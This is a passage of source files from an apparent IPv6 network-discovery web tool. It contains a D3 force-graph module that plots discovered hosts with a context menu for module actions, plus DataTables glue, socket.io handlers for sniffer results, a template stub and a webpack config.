"fixed": true, 38 | "index": 0, 39 | "value": 3, 40 | "root": true, 41 | "id": "root" 42 | }); 43 | 44 | var drag = this.force.drag() 45 | .on('dragstart', this.dragstart); 46 | 47 | var svg = d3.select(this.div).html('').append("svg") 48 | .attr("width", this.width) 49 | .attr("height", this.height); 50 | this.svg = svg; 51 | 52 | var loading = svg.append("text") 53 | .attr("x", this.width / 2) 54 | .attr("y", this.height / 2) 55 | .attr("dy", ".35em") 56 | .style("text-anchor", "middle") 57 | .text("Loading. One moment please…"); 58 | 59 | this.link = svg.selectAll(".link"); 60 | this.gnode = svg.selectAll(".gnode"); 61 | 62 | // resize listener 63 | d3.select(window).on('resize', this.resize); 64 | 65 | this.update(); 66 | 67 | // timeout so page doesn't lock while simulating 68 | setTimeout(function() { 69 | // simulate ticks while stuff isn't visible 70 | var n = nodegraph.graph.nodes.length; 71 | if (n < 100) n = 100; 72 | nodegraph.force.start(); 73 | for (var i = n * n; i > 0; --i) nodegraph.force.tick(); 74 | nodegraph.force.stop(); 75 | 76 | // remove loading sign and make stuff visible 77 | loading.remove(); 78 | nodegraph.gnode.attr('opacity', 1); 79 | nodegraph.link.attr('opacity', 1); 80 | }, 10); 81 | }, 82 | setDim: function() { 83 | var width = $(this.div).outerWidth(); 84 | var aspect = (width > 700) ? 9 / 16 : 3 / 4; 85 | this.width = width; 86 | this.height = width * aspect; 87 | }, 88 | setForce: function() { 89 | var k = Math.sqrt(this.graph.nodes.length / (this.width * this.height)); //linear scale for gravity, charge, and linkDistance 90 | 91 | return this.force.charge(function(d) { 92 | return (d.value || 1) * (-10 / k); 93 | }) 94 | .linkDistance(2000 * k) 95 | .gravity(10 * k) 96 | .size([this.width, this.height]); 97 | }, 98 | getFill: function(d) { 99 | var hovered = d3.select(this).classed("hovered"); 100 | var fixed = d3.select(this).classed("fixed"); 101 | 102 | if (d.root) { 103 | return "rgb(51, 103, 153)"; 104 | } else if (d.dns_data || d.multicast_report) { 105 | if (hovered || fixed) { 106 | return "rgb(157, 42, 25)"; 107 | } 108 | return "rgb(197, 82, 65)"; 109 | } else { 110 | if (hovered || fixed) { 111 | return "rgb(140, 140, 140)"; 112 | } 113 | return "rgb(170, 170, 170)"; 114 | } 115 | }, 116 | getStroke: function(d) { 117 | var hovered = d3.select(this).classed("hovered"); 118 | var fixed = d3.select(this).classed("fixed"); 119 | 120 | if (d.root) { 121 | return "rgb(0, 66, 128)"; 122 | } else if (d.dns_data || d.multicast_report) { 123 | if (hovered || fixed) { 124 | return "rgb(143, 11, 8)"; 125 | } 126 | return "rgb(183, 39, 18)"; 127 | } else { 128 | if (hovered || fixed) { 129 | return "rgb(90, 90, 90)"; 130 | } 131 | return "rgb(130, 130, 130)"; 132 | } 133 | }, 134 | // tick for d3 positioning 135 | tick: function() { 136 | nodegraph.gnode.attr("transform", function(d) { 137 | var r = nodegraph.radius * (d.value || 1); 138 | d.x = Math.max(r, Math.min(nodegraph.width - r, d.x)); 139 | d.y = Math.max(r, Math.min(nodegraph.height - r, d.y)); 140 | return 'translate(' + d.x + ',' + d.y + ')'; 141 | }); 142 | nodegraph.link.attr("x1", function(d) { 143 | return d.source.x; 144 | }) 145 | .attr("y1", function(d) { 146 | return d.source.y; 147 | }) 148 | .attr("x2", function(d) { 149 | return d.target.x; 150 | }) 151 | .attr("y2", function(d) { 152 | return d.target.y; 153 | }); 154 | }, 155 | // event listeners 156 | dblclick: function(d) { 157 | d3.select(this).classed("fixed", d.fixed = false) 158 | .select('circle.node') 159 | .attr("fill", nodegraph.getFill) 160 | .attr("stroke", nodegraph.getStroke); 161 | 162 | nodegraph.unpinNode(d.id); 163 | }, 164 | dragstart: function(d) { 165 | if (d3.event.sourceEvent.which === 1) { //only on left click drag 166 | d3.select(this) 167 | .select('circle.node') 168 | .classed("fixed", d.fixed = true) 169 | .attr("fill", nodegraph.getFill) 170 | .attr("stroke", nodegraph.getStroke); 171 | nodegraph.pinNode(d.id); 172 | } 173 | }, 174 | mouseover: function(d) { 175 | // highlight node 176 | d3.select(this) 177 | .classed("hovered", true) 178 | .attr("fill", nodegraph.getFill) 179 | .attr("stroke", nodegraph.getStroke); 180 | 181 | // find in table 182 | if (d.id) $('#' + ipv6_id(d.id)).addClass('highlighted-row'); 183 | }, 184 | mouseout: function(d) { 185 | d3.select(this) 186 | .classed("hovered", false) 187 | .attr("fill", nodegraph.getFill) 188 | .attr("stroke", nodegraph.getStroke); 189 | 190 | if (d.id) { 191 | if (!d3.select(this).classed("fixed") && !nodegraph.isPinned(d.id)) { 192 | $('#' + ipv6_id(d.id)).removeClass('highlighted-row'); 193 | } 194 | } 195 | }, 196 | contextmenu: function(d, i) { 197 | // add context menu 198 | d3.select('.nodegraph-context-menu') 199 | .data([1]) 200 | .enter() 201 | .append('div') 202 | .attr('class', 'nodegraph-context-menu') 203 | .html('
  • asdf
'); 204 | 205 | // set up listener to close CM 206 | d3.select('body').on('click.nodegraph-context-menu', function() { 207 | d3.select('.nodegraph-context-menu').style('display', 'none'); 208 | }); 209 | 210 | 211 | if (d.root) { 212 | // nothing yet 213 | } else { 214 | nodegraph.buildMenu(d); 215 | d3.select('.nodegraph-context-menu') 216 | .style('left', (d3.event.pageX - 2) + 'px') 217 | .style('top', (d3.event.pageY - 2) + 'px') 218 | .style('display', 'block'); 219 | } 220 | d3.event.preventDefault(); 221 | console.log(d); 222 | }, 223 | buildMenu: function(target) { 224 | var menu = []; 225 | mods = mods || [{modname: "", actions: [{action: null, title: "No modules loaded.", target: true}]}]; 226 | for(i in mods){ 227 | for(x in mods[i].actions){ 228 | var tmp = mods[i].actions[x]; 229 | if(tmp.target){ 230 | tmp.modname = mods[i].modname; 231 | menu.push(tmp); 232 | } 233 | } 234 | } 235 | 236 | var elm = this; 237 | d3.selectAll('.nodegraph-context-menu').html(''); 238 | var list = d3.selectAll('.nodegraph-context-menu').append('ul').attr('class', 'dropdown-menu'); 239 | list.selectAll('li').data(menu).enter() 240 | .append('li') 241 | .append('a') 242 | .attr('href', '#') 243 | .html(function(d) { 244 | return d.title + " "+d.modname+""; 245 | }) 246 | .on('click', function(d, i) { 247 | if(d.action) 248 | module_handler.action({modname: d.modname, target: target, action: d.action}); 249 | d3.select('.nodegraph-context-menu').style('display', 'none'); 250 | }); 251 | }, 252 | resize: function() { 253 | nodegraph.setDim(); 254 | 255 | // set SVG w/h 256 | nodegraph.svg 257 | .attr('width', nodegraph.width) 258 | .attr('height', nodegraph.height); 259 | 260 | // center root node 261 | nodegraph.graph.nodes[0].x = nodegraph.width / 2; 262 | nodegraph.graph.nodes[0].cx = nodegraph.width / 2; 263 | nodegraph.graph.nodes[0].px = nodegraph.width / 2; 264 | nodegraph.graph.nodes[0].y = nodegraph.height / 2; 265 | nodegraph.graph.nodes[0].cy = nodegraph.height / 2; 266 | nodegraph.graph.nodes[0].py = nodegraph.height / 2; 267 | 268 | // set force w/h 269 | nodegraph.force.size([nodegraph.width, nodegraph.height]).resume(); 270 | }, 271 | addNode: function(node) { 272 | this.graph.nodes.push(node); 273 | this.update(); 274 | }, 275 | removeNode: function(id) { 276 | 277 | }, 278 | pinNode: function(ip){ 279 | if (ip && nodegraph.pinned.indexOf(ip) === -1) nodegraph.pinned.push(ip); 280 | nodegraph.updateNodes(); 281 | }, 282 | unpinNode: function(ip){ 283 | if (ip && nodegraph.pinned.indexOf(ip) >= 0) nodegraph.pinned.splice(nodegraph.pinned.indexOf(ip), 1); 284 | nodegraph.updateNodes(); 285 | }, 286 | isPinned: function(ip){ 287 | return nodegraph.pinned.indexOf(ip) >= 0; 288 | }, 289 | updateNodes: function(){ 290 | d3.selectAll('.gnode') 291 | .classed("fixed", function(d){ return nodegraph.isPinned(d.id); }) 292 | .select('circle.node') 293 | .attr("fill", nodegraph.getFill) 294 | .attr("stroke", nodegraph.getStroke); 295 | }, 296 | addLink: function(sourceId, targetId) { 297 | // var sourceNode = this.findNode(sourceId); 298 | var sourceNode = 0; 299 | var targetNode = this.findNode(targetId); 300 | 301 | if (sourceNode !== undefined && targetNode !== undefined) { 302 | this.graph.links.push({ 303 | source: sourceNode, 304 | target: targetNode 305 | }); 306 | this.update(); 307 | } 308 | }, 309 | findNode: function(id) { 310 | for (var i = 0; i < nodegraph.graph.nodes.length; i++) { 311 | if (nodegraph.graph.nodes[i].id === id) 312 | return i; 313 | } 314 | }, 315 | update: function() { 316 | // reset the dim 317 | this.setDim(); 318 | // this.force.stop(); 319 | 320 | this.link = this.link.data(this.force.links(), function(d) { 321 | return d.source.id + "-" + d.target.id; 322 | }); 323 | this.link.enter().insert("line", ".gnode") 324 | .attr("class", "link") 325 | .attr("stroke-width", 1) 326 | .attr("stroke", "#999"); 327 | this.link.exit().remove(); 328 | 329 | this.gnode = this.gnode.data(this.force.nodes(), function(d) { 330 | return d.id; 331 | }); 332 | var node = this.gnode.enter() 333 | .append("g") 334 | .classed("gnode", true) 335 | .call(this.force.drag); 336 | 337 | node.append("circle") 338 | .attr("class", function(d) { 339 | return (d.fixed) ? "node root_node" : "node"; 340 | }) 341 | .attr("r", function(d) { 342 | return (d.value || 1) * nodegraph.radius; 343 | }) 344 | .attr("fill", this.getFill) 345 | .attr("stroke", this.getStroke) 346 | .attr("stroke-width", 2) 347 | .on("dblclick", this.dblclick) 348 | .on("mouseover", this.mouseover) 349 | .on("mouseout", this.mouseout) 350 | .on("contextmenu", this.contextmenu); 351 | 352 | node.append("text") 353 | .attr("class", "nodelabel") 354 | .attr("dx", "1em") 355 | .attr("dy", "0.3em") 356 | .text(function(d) { 357 | return d.device_name || ''; 358 | }); 359 | 360 | this.gnode.exit().remove(); 361 | 362 | // update node colors 363 | d3.selectAll("circle.node") 364 | .attr("fill", this.getFill) 365 | .attr("stroke", this.getStroke); 366 | 367 | // update nodelabels 368 | d3.selectAll("text.nodelabel") 369 | .text(function(d) { 370 | return d.device_name || ''; 371 | }); 372 | 373 | // this.gnode.sort(function(a, b) { 374 | // if (!a.device_name) return -1; 375 | // else return 1; 376 | // }); 377 | 378 | 379 | // reset the force 380 | this.setForce().start(); 381 | }, 382 | updateNode: function(data){ 383 | var ipMatch = function(obj){ 384 | return obj.ip === data.ip; 385 | }; 386 | if(data){ 387 | var obj = this.graph.nodes.filter(ipMatch)[0]; 388 | if(obj){ 389 | var orig = $.extend(true, {}, obj); //set original 390 | $.extend(true, obj, data); //merged new 391 | if(obj.dns_data){ 392 | var name = obj.dns_data.filter(function(obj) { 393 | return obj.answer_type == 28; 394 | })[0]; 395 | if(name && name != obj.device_name){ 396 | obj.device_name = formatName(name.answer_name); 397 | this.update(); 398 | } 399 | } 400 | if(JSON.stringify(orig) !== JSON.stringify(obj)){//only update if merged new and original aren't equal 401 | this.update(); 402 | } 403 | } else { 404 | data.id = data.ip; 405 | data.x = nodegraph.width/4; 406 | data.y = nodegraph.height/4; 407 | this.addNode(data); 408 | this.addLink("root", data.ip); 409 | this.update(); 410 | } 411 | } 412 | } 413 | }; 414 | -------------------------------------------------------------------------------- /server/static/js/dataTables.bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | DataTables Bootstrap 3 integration 3 | ©2011-2014 SpryMedia Ltd - datatables.net/license 4 | */ 5 | (function(l,q){var d=function(b,c){b.extend(!0,c.defaults,{dom:"<'row'<'col-sm-6'l><'col-sm-6'f>><'row'<'col-sm-12'tr>><'row'<'col-sm-5'i><'col-sm-7'p>>",renderer:"bootstrap"});b.extend(c.ext.classes,{sWrapper:"dataTables_wrapper form-inline dt-bootstrap",sFilterInput:"form-control input-sm",sLengthSelect:"form-control input-sm"});c.ext.renderer.pageButton.bootstrap=function(g,d,r,s,i,m){var t=new c.Api(g),u=g.oClasses,j=g.oLanguage.oPaginate,e,f,n=0,p=function(c,d){var k,h,o,a,l=function(a){a.preventDefault(); 6 | b(a.currentTarget).hasClass("disabled")||t.page(a.data.action).draw("page")};k=0;for(h=d.length;k",{"class":u.sPageButton+ 7 | " "+f,id:0===r&&"string"===typeof a?g.sTableId+"_"+a:null}).append(b("",{href:"#","aria-controls":g.sTableId,"data-dt-idx":n,tabindex:g.iTabIndex}).html(e)).appendTo(c),g.oApi._fnBindAction(o,{action:a},l),n++)}},h;try{h=b(d).find(q.activeElement).data("dt-idx")}catch(l){}p(b(d).empty().html('
    ').children("ul"),s);h&&b(d).find("[data-dt-idx="+h+"]").focus()};c.TableTools&&(b.extend(!0,c.TableTools.classes,{container:"DTTT btn-group",buttons:{normal:"btn btn-default",disabled:"disabled"}, 8 | collection:{container:"DTTT_dropdown dropdown-menu",buttons:{normal:"",disabled:"disabled"}},print:{info:"DTTT_print_info"},select:{row:"active"}}),b.extend(!0,c.TableTools.DEFAULTS.oTags,{collection:{container:"ul",button:"li",liner:"a"}}))};"function"===typeof define&&define.amd?define(["jquery","datatables"],d):"object"===typeof exports?d(require("jquery"),require("datatables")):jQuery&&d(jQuery,jQuery.fn.dataTable)})(window,document); 9 | -------------------------------------------------------------------------------- /server/static/js/sockets.js: -------------------------------------------------------------------------------- 1 | var socket; 2 | 3 | $(document).ready(function() { 4 | var namespace = '/scan'; // change to an empty string to use the global namespace 5 | socket = io.connect('http://' + document.domain + ':' + location.port + namespace); 6 | 7 | // socket handlers 8 | socket.on('module_output', function(msg) { 9 | if(msg.log){ 10 | module_handler.console.log(msg); 11 | } 12 | }); 13 | 14 | /* 15 | * listen for sniffed results 16 | * result channels: ['icmp_echo_result', 'icmp_name_result', 'multicast_result', 'mdns_result', 'llmnr_result'] 17 | */ 18 | socket.on('icmp_echo_result', function(msg){ 19 | new_result.updatePage(msg); 20 | }); 21 | socket.on('icmp_name_result', function(msg){ 22 | new_result.updatePage(msg); 23 | }); 24 | socket.on('multicast_result', function(msg){ 25 | socket.emit('scan_llmnr', msg); 26 | new_result.updatePage(msg); 27 | }); 28 | socket.on('mdns_result', function(msg){ 29 | new_result.updatePage(msg); 30 | }); 31 | socket.on('llmnr_result', function(msg){ 32 | new_result.updatePage(msg); 33 | }); 34 | 35 | // event handler for scan action 36 | $('#start-stop').on('click', function(e) { 37 | console.log('scanning...'); 38 | e.preventDefault(); 39 | 40 | if($(this).hasClass('start-scan')){ 41 | socket.emit('sniffer_init', {}); 42 | scanPage.scanStart(); 43 | socket.emit('start_scan', {}); 44 | } else { 45 | socket.emit('sniffer_kill', {}); 46 | scanPage.scanStop(); 47 | } 48 | }); 49 | }); 50 | -------------------------------------------------------------------------------- /templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | IPv6Tools 8 | 9 | 10 | 11 | 12 | 13 | 14 |
    15 | 16 |
    17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /webpack.config.js: -------------------------------------------------------------------------------- 1 | var path = require('path') 2 | var webpack = require('webpack') 3 | 4 | module.exports = { 5 | // entry point of our application 6 | entry: './client/main.js', 7 | // where to place the compiled bundle 8 | output: { 9 | path: path.join(__dirname, 'assets'), 10 | publicPath: "/assets/", 11 | filename: 'app.js' 12 | }, 13 | devServer: { 14 | proxy: { 15 | '/socket.io': 'http://localhost:8080' 16 | }, 17 | disableHostCheck: true 18 | }, 19 | /* resolveLoader: { 20 | root: path.join(__dirname, 'node_modules'), 21 | }, */ 22 | module: { 23 | // `loaders` is an array of loaders to use. 24 | // here we are only configuring vue-loader 25 | loaders: [ 26 | { 27 | test: /\.woff(\?v=\d+\.\d+\.\d+)?$/, 28 | loader: "url-loader?limit=10000&mimetype=application/font-woff" 29 | }, 30 | { 31 | test: /\.woff2(\?v=\d+\.\d+\.\d+)?$/, 32 | loader: "url-loader?limit=10000&mimetype=application/font-woff" 33 | }, 34 | { 35 | test: /\.ttf(\?v=\d+\.\d+\.\d+)?$/, 36 | loader: "url-loader?limit=10000&mimetype=application/octet-stream" 37 | }, 38 | { 39 | test: /\.eot(\?v=\d+\.\d+\.\d+)?$/, 40 | loader: "file-loader" 41 | }, 42 | { 43 | test: /\.svg(\?v=\d+\.\d+\.\d+)?$/, 44 | loader: "url-loader?limit=10000&mimetype=image/svg+xml" 45 | }, 46 | { 47 | test: /\.vue$/, 48 | loader: 'vue-loader' 49 | }, 50 | { 51 | test: /\.js$/, 52 | loader: 'babel-loader', 53 | exclude: /node_modules/ 54 | }, 55 | { 56 | test: /\.css$/, 57 | loader: "style-loader!css-loader" 58 | } 59 | ], 60 | }, 61 | plugins: [ 62 | new webpack.optimize.UglifyJsPlugin({ 63 | compress: { 64 | warnings: false 65 | } 66 | }), 67 | new webpack.ProvidePlugin({ 68 | 'utils': 'utils' 69 | }) 70 | ], 71 | resolve: { 72 | alias: { 73 | vue: 'vue/dist/vue.common.js', 74 | utils: path.resolve(__dirname, './client/utils') 75 | } 76 | }, 77 | } 78 | --------------------------------------------------------------------------------